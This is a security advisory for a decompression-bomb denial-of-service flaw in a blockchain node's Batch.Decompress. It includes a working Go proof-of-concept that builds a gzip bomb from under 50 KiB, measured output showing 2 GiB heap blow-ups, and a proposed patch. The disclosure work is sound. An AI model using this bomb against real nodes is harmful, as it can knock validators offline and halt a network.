CVE-2026-44697

描述

## Summary A remote, unauthenticated denial-of-service vulnerability in `Batch.Decompress` (`data/batch/batch.go`) allows any peer that participates in a topic served by `MultiDataInterceptor` to allocate multi-gigabyte heaps on the receiving node from a sub-50 KiB gossip payload. A single packet is sufficient to OOM-kill a validator with conventional memory provisioning. Fleet-wide application affects chain liveness. The vulnerability was identified during an internal security review of `core/process/interceptors/multiDataInterceptor.go` at commit `405d01b0abbf0d3e73b4a990bd7394a01f200dc2`. It is distinct from, and substantially more severe than, the throttler-slot-leak vulnerability disclosed in `GHSA-74m6-4hjp-7226`. Both reports cover adjacent code in the same call path; the patches must land together in one release (rc2 superseding rc1). Two additional, lower-severity hardening issues affecting the same code path are documented in this report and remediated by the same patch. They are not independently exploitable under the default deployed anti-flood configuration and are not requested as separate CVEs. ## Description `MultiDataInterceptor.ProcessReceivedMessage` (`core/process/interceptors/multiDataInterceptor.go:79`) handles every gossip message received on the topics the interceptor is registered for. At lines 95–102 it conditionally decompresses the payload via `Batch.Decompress`: ```go if b.IsCompressed { err = b.Decompress(mdi.marshalizer) if err != nil { ... return err } } ``` `Batch.Decompress` (`data/batch/batch.go:109`) delegates the gzip step to `decompressGzip` (`data/batch/batch.go:35-53`), which performs an unbounded `io.ReadAll` on the gzip reader: ```go func decompressGzip(data []byte) ([]byte, error) { rdata := bytes.NewReader(data) reader, err := gzip.NewReader(rdata) if err != nil { return nil, err } result, err := io.ReadAll(reader) // no LimitReader, no DataSize check ... } ``` After the gzip step succeeds, `Decompress` re-`Unmarshal`s the inflated bytes back into the `Batch` value, again with no size cap. The attacker-set `ba.DataSize` field is never validated on decompression, so the lie is free. The order of operations in `ProcessReceivedMessage`: ``` preProcessMessage -> anti-flood by COMPRESSED size only marshalizer.Unmarshal(&b, ..) -> outer Batch (small, cheap) b.Decompress(...) -> UNBOUNDED here (bomb explodes) ... b.Data populated with N entries ... antiflood.CanProcessMessagesOnTopic(..., uint32(len(b.Data)), ...) ``` The count-budget anti-flood check at line 111 runs *after* `Decompress` completes, so no anti-flood configuration can prevent the explosion. The only gate above `Decompress` is `preProcessMessage`'s byte budget, which sees only the *compressed* payload size and is trivially satisfied by a sub-MB bomb. ## Proof of Concept The PoC is a self-contained Go test that exercises the real `data/batch.Batch.Decompress` function and the production `factory.ProtoMarshalizer`. No mocks. Both the attacker-side construction (marshal a `Batch` of millions of empty entries, gzip, wrap in an outer compressed `Batch`) and the receiver-side path (`mrs.Unmarshal` → `received.Decompress(mrs)`) are exactly what runs in production at the reviewed commit. The headline test (`TestC2_DecompressionBomb_ValidInner`) constructs a ~48 KiB outer wire payload that decompresses to 25 million `[]byte` entries, and samples `runtime.HeapAlloc` every 5 ms during `Decompress` to capture the peak (since the inflated buffer is freed once `Decompress` returns). ### Test source Place the file under `playground/p2pflood/c2_decompression_bomb_test.go` in a checkout of the reviewed commit, then run: ``` go test -v -count=1 -timeout=120s -run TestC2 ./playground/p2pflood/... ``` ```go package p2pflood_test import ( "bytes" "compress/gzip" "runtime" "sync/atomic" "testing" "time" "github.com/klever-io/klever-go/data/batch" "github.com/klever-io/klever-go/tools/marshal/factory" ) const inflatedSize = 256 << 20 // 256 MiB // buildGzipOfZeros: streams `size` zero bytes through a gzip writer. // A real attacker produces this offline; the streaming form here keeps // the test's own attacker-side allocation small. func buildGzipOfZeros(t *testing.T, size int) []byte { t.Helper() var buf bytes.Buffer gz := gzip.NewWriter(&buf) chunk := make([]byte, 1<<20) for written := 0; written < size; { n := len(chunk) if size-written < n { n = size - written } if _, err := gz.Write(chunk[:n]); err != nil { t.Fatalf("gzip write: %v", err) } written += n } if err := gz.Close(); err != nil { t.Fatalf("gzip close: %v", err) } return buf.Bytes() } // peakHeapDuring samples runtime.HeapAlloc every 5 ms during fn() and // returns (peak, baseline). In-flight sampling is required because // Decompress's internal allocations may be reclaimed by GC before the // function returns. func peakHeapDuring(fn func()) (peak, baseline uint64) { runtime.GC() var ms runtime.MemStats runtime.ReadMemStats(&ms) baseline = ms.HeapAlloc var stop atomic.Bool peakPtr := new(atomic.Uint64) peakPtr.Store(baseline) done := make(chan struct{}) go func() { ticker := time.NewTicker(5 * time.Millisecond) defer ticker.Stop() var s runtime.MemStats for !stop.Load() { runtime.ReadMemStats(&s) cur := s.HeapAlloc for { old := peakPtr.Load() if cur <= old || peakPtr.CompareAndSwap(old, cur) { break } } <-ticker.C } close(done) }() fn() stop.Store(true) <-done return peakPtr.Load(), baseline } // TestC2_DecompressionBomb_RawZeros: floor-of-attack demonstration. // All-zeros inflated payload; inner Unmarshal-after-decompress fails, // but the gzip output buffer is already allocated. func TestC2_DecompressionBomb_RawZeros(t *testing.T) { mrs, err := factory.NewMarshalizer(factory.ProtoMarshalizer) if err != nil { t.Fatalf("marshalizer: %v", err) } bombStream := buildGzipOfZeros(t, inflatedSize) bomb := &batch.Batch{ IsCompressed: true, Algo: batch.CType_GZip, Stream: bombStream, DataSize: 1, // a lie — Decompress ignores it } wire, err := mrs.Marshal(bomb) if err != nil { t.Fatalf("marshal: %v", err) } t.Logf(" wire payload (after Marshal): %d bytes (%.2f KiB)", len(wire), float64(len(wire))/1024.0) t.Logf(" advertised DataSize: %d", bomb.DataSize) t.Logf(" actual decompressed size: %d bytes (%.2f MiB)", inflatedSize, float64(inflatedSize)/(1<<20)) bomb = nil bombStream = nil runtime.GC() received := &batch.Batch{} if err := mrs.Unmarshal(received, wire); err != nil { t.Fatalf("receiver outer unmarshal: %v", err) } if !received.IsCompressed { t.Fatalf("expected IsCompressed=true after outer unmarshal") } start := time.Now() var decompressErr error peak, baseline := peakHeapDuring(func() { decompressErr = received.Decompress(mrs) }) elapsed := time.Since(start) allocated := peak - baseline amp := float64(allocated) / float64(len(wire)) t.Logf(" Decompress error: %v (irrelevant — heap already allocated)", decompressErr) t.Logf(" peak heap during Decompress: +%d bytes (%.2f MiB)", allocated, float64(allocated)/(1<<20)) t.Logf(" elapsed: %v", elapsed) t.Logf(" amplification: %.0fx (wire -> heap)", amp) if allocated < uint64(inflatedSize/2) { t.Fatalf("heap delta only %.2f MiB — vuln may already be patched", float64(allocated)/(1<<20)) } if amp < 100 { t.Fatalf("amplification only %.1fx — expected >>100x", amp) } } // TestC2_DecompressionBomb_ValidInner: realistic ceiling — gzip stream // decompresses to a valid marshaled Batch with N=25M empty entries. // Decompress's internal Unmarshal succeeds and additionally allocates // the [][]byte slice. All before any count-based anti-flood runs. func TestC2_DecompressionBomb_ValidInner(t *testing.T) { mrs, err := factory.NewMarshalizer(factory.ProtoMarshalizer) if err != nil { t.Fatalf("marshalizer: %v", err) } const N = 25_000_000 innerBatch := &batch.Batch{Data: make([][]byte, N)} innerWire, err := mrs.Marshal(innerBatch) if err != nil { t.Fatalf("inner marshal: %v", err) } innerBatch = nil runtime.GC() var compressed bytes.Buffer gz := gzip.NewWriter(&compressed) if _, err := gz.Write(innerWire); err != nil { t.Fatalf("gz write: %v", err) } if err := gz.Close(); err != nil { t.Fatalf("gz close: %v", err) } innerWireLen := len(innerWire) innerWire = nil runtime.GC() bomb := &batch.Batch{ IsCompressed: true, Algo: batch.CType_GZip, Stream: compressed.Bytes(), DataSize: 1, } wire, err := mrs.Marshal(bomb) if err != nil { t.Fatalf("outer marshal: %v", err) } t.Logf(" inner wire (uncompressed): %d bytes (%.2f MiB)", innerWireLen, float64(innerWireLen)/(1<<20)) t.Logf(" outer wire (gzip-wrapped): %d bytes (%.2f KiB)", len(wire), float64(len(wire))/1024.0) t.Logf(" inner -> outer compression: %.0fx", float64(innerWireLen)/float64(len(wire))) bomb = nil compressed.Reset() runtime.GC() received := &batch.Batch{} if err := mrs.Unmarshal(received, wire); err != nil { t.Fatalf("receiver outer unmarshal: %v", err) } start := time.Now() var decompressErr error peak, baseline := peakHeapDuring(func() { // Mirrors multiDataInterceptor.go:96 exactly. Runs BEFORE the // count-budget anti-flood at line 111. decompressErr = received.Decompress(mrs) }) elapsed := time.Since(start) allocated := peak - baseline amp := float64(allocated) / float64(len(wire)) t.Logf(" Decompress returned: %v", decompressErr) t.Logf(" Decompressed b.Data length: %d (matches N=%d? %v)", len(received.Data), N, len(received.Data) == N) t.Logf(" peak heap during Decompress: +%d bytes (%.2f MiB)", allocated, float64(allocated)/(1<<20)) t.Logf(" elapsed: %v", elapsed) t.Logf(" amplification: %.0fx (wire -> heap)", amp) if decompressErr != nil { t.Fatalf("Decompress unexpectedly failed: %v", decompressErr) } if len(received.Data) != N { t.Fatalf("inner Unmarshal lost entries: got %d want %d", len(received.Data), N) } if allocated < 256<<20 { t.Fatalf("heap delta only %.2f MiB — expected >256 MiB", float64(allocated)/(1<<20)) } runtime.KeepAlive(received) } ``` ### Measured output Apple-silicon dev machine, `go 1.25`, against commit `405d01b0abbf0d3e73b4a990bd7394a01f200dc2`: ``` === RUN TestC2_DecompressionBomb_RawZeros wire payload (after Marshal): 260938 bytes (254.82 KiB) advertised DataSize: 1 actual decompressed size: 268435456 bytes (256.00 MiB) Decompress error: proto: cannot parse invalid wire-format data (irrelevant — heap already allocated) peak heap during Decompress: +887994584 bytes (846.86 MiB) elapsed: 155.79ms amplification: 3403x (wire -> heap) --- PASS: TestC2_DecompressionBomb_RawZeros (0.52s) === RUN TestC2_DecompressionBomb_ValidInner inner wire (uncompressed): 50000000 bytes (47.68 MiB) outer wire (gzip-wrapped): 48642 bytes (47.50 KiB) inner -> outer compression: 1028x Decompress returned: <nil> Decompressed b.Data length: 25000000 (matches N=25000000? true) peak heap during Decompress: +2218262232 bytes (2115.50 MiB) elapsed: 582.92ms amplification: 45604x (wire -> heap) --- PASS: TestC2_DecompressionBomb_ValidInner (0.75s) ``` Reproduction: any commit that includes `data/batch/batch.go` in its current `decompressGzip`/`Decompress` form. The PoC does not depend on libp2p, the live interceptor stack, or any deployed configuration — the bug is in `Batch.Decompress` itself; any caller that reaches it pays for the unbounded allocation. The PoC sources (along with a companion test for the bundled slice-prealloc finding) live under `playground/p2pflood/` on the maintainer's local workstation and have not been pushed to any branch. They will be converted into a regression-test suite alongside the patch in the private fork. ## Impact A single connected peer publishing on a topic served by `MultiDataInterceptor` (which on a public chain includes any anonymous gossip publisher) can cause the receiving node to allocate 2+ GiB of heap in under one second per packet. With the default deployed configuration (`peerMaxInput.totalSizePerInterval: 4194304` = 4 MiB/s per peer), an attacker can ship roughly 80 such bombs per second per connected peer before tripping the per-peer byte budget. The per-peer message count limit (`baseMessagesPerInterval: 140` per fastReacting interval, 1000 before blacklisting) is high enough to permit the attack to run for several seconds before any blacklist activates. By that point the node process is already OOM-killed. Realistic attack scenarios: * A single attacker connected to one validator can OOM that validator in under a second (one bomb suffices on memory-constrained nodes). * A small number of malicious peers spread across the validator fleet can OOM the entire fleet within a single block-production interval, affecting chain liveness. * Eclipse-attack composition: the cost is paid before any peer reputation logic runs, so the attack works regardless of whether the receiver attributes the message to originator or relayer. ## Affected Code * `data/batch/batch.go:35-53` — `decompressGzip`, unbounded `io.ReadAll` * `data/batch/batch.go:109-137` — `Batch.Decompress`, ignores `DataSize`, re-`Unmarshal`s inflated bytes * `core/process/interceptors/multiDataInterceptor.go:95-102` — call site * `core/process/interceptors/multiDataInterceptor.go:84-94` — preceding `Unmarshal` step ## Patches A patch is in preparation on a private branch and will land in rc2, together with the fix for `GHSA-74m6-4hjp-7226`. The intended fix shape: ```go const maxInflatedBatch = 64 * 1024 * 1024 // 64 MiB hard ceiling; tune per topic func decompressGzip(data []byte, max int64) ([]byte, error) { r, err := gzip.NewReader(bytes.NewReader(data)) if err != nil { return nil, err } defer r.Close() lr := io.LimitReader(r, max+1) out, err := io.ReadAll(lr) if err != nil { return nil, err } if int64(len(out)) > max { return nil, ErrDecompressionTooLarge } return out, nil } func (ba *Batch) Decompress(m marshal.Marshalizer) error { if !ba.IsCompressed { return common.ErrNotCompressed } if ba.DataSize > maxInflatedBatch { return ErrDecompressionTooLarge } result, err := decompressGzip(ba.Stream, maxInflatedBatch) if err != nil { return err } if int64(len(result)) != int64(ba.DataSize) && ba.DataSize > 0 { return ErrDecompressedSizeMismatch } if err := m.Unmarshal(ba, result); err != nil { return err } ba.Stream, ba.IsCompressed = nil, false return nil } ``` The cap value should be selected per topic. A 64 MiB ceiling preserves backward compatibility for legitimate large batches while reducing the worst-case allocation by ≈30× relative to the measured PoC and ≈400× relative to the upper bound of an uncapped attack. A regression test based on the PoC will accompany the patch. ## Workarounds None at the configuration level. The `peerMaxInput.totalSizePerInterval` budget could theoretically be lowered, but as the PoC measurements show, a single bomb is already lethal on memory-constrained nodes. Patch is required. ## Bundled Hardening (no separate CVE) The following two issues were identified in the same call path during the review. They are not independently exploitable under the default deployed `defaultMaxMessagesPerSec: 35000` per-topic anti-flood limit and so do not warrant their own CVEs. They are remediated by the same patch as the headline vulnerability and are documented here for transparency. ### Bundled #1 — Slice pre-allocation amplification (CWE-789, CWE-770) `multiDataInterceptor.go:123` performs: ```go listInterceptedData := make([]process.InterceptedData, len(multiDataBuff)) ``` `len(multiDataBuff)` is `len(b.Data)` after `Unmarshal` and `Decompress`, both of which are attacker-controlled. Under the default per-topic count budget this is bounded; a deployer who loosens that budget, or any future code path that bypasses it, would expose ≈16 bytes × attacker-chosen-N of allocation. The same patch caps `len(b.Data)` immediately after `Unmarshal`, again after `Decompress`, and before the make. The unconditional component of this finding — that `Decompress`'s internal `Unmarshal` populates `b.Data` with N `[]byte` slice headers (24 B each) before any count-budget check runs — is captured by the headline finding's PoC. ### Bundled #2 — Self-message anti-flood bypass (CWE-290, CWE-693) `baseDataInterceptor.go:32` exempts messages from anti-flood enforcement when: ```go bytes.Equal(m.Signature(), m.From()) && bytes.Equal(m.From(), bdi.currentPeerID.Bytes()) && fromConnectedPeer == bdi.currentPeerID ``` The first equality is a sentinel byte comparison, not a cryptographic check. Exploitability depends on whether the upstream libp2p stack verifies envelope signatures before reaching `preProcessMessage`. The patch replaces the sentinel with a defense-in-depth check and ensures throttler accounting still runs on the self-message path. ## Coordination with `GHSA-74m6-4hjp-7226` The maintainer team is concurrently handling `GHSA-74m6-4hjp-7226`, which discloses an adjacent throttler-slot-leak finding in the same `ProcessReceivedMessage` function. The two CVEs are independently fixable per CNA Operational Rules, but operationally the patches must land in one release. rc2 will supersede rc1 and contain fixes for both advisories. Validators upgrade once. ## Credits Fernando Sobreira (maintainer, internal security review). ## References * Reviewed commit: `405d01b0abbf0d3e73b4a990bd7394a01f200dc2` * Related advisory: `GHSA-74m6-4hjp-7226` * CWE-409: https://cwe.mitre.org/data/definitions/409.html * CWE-770: https://cwe.mitre.org/data/definitions/770.html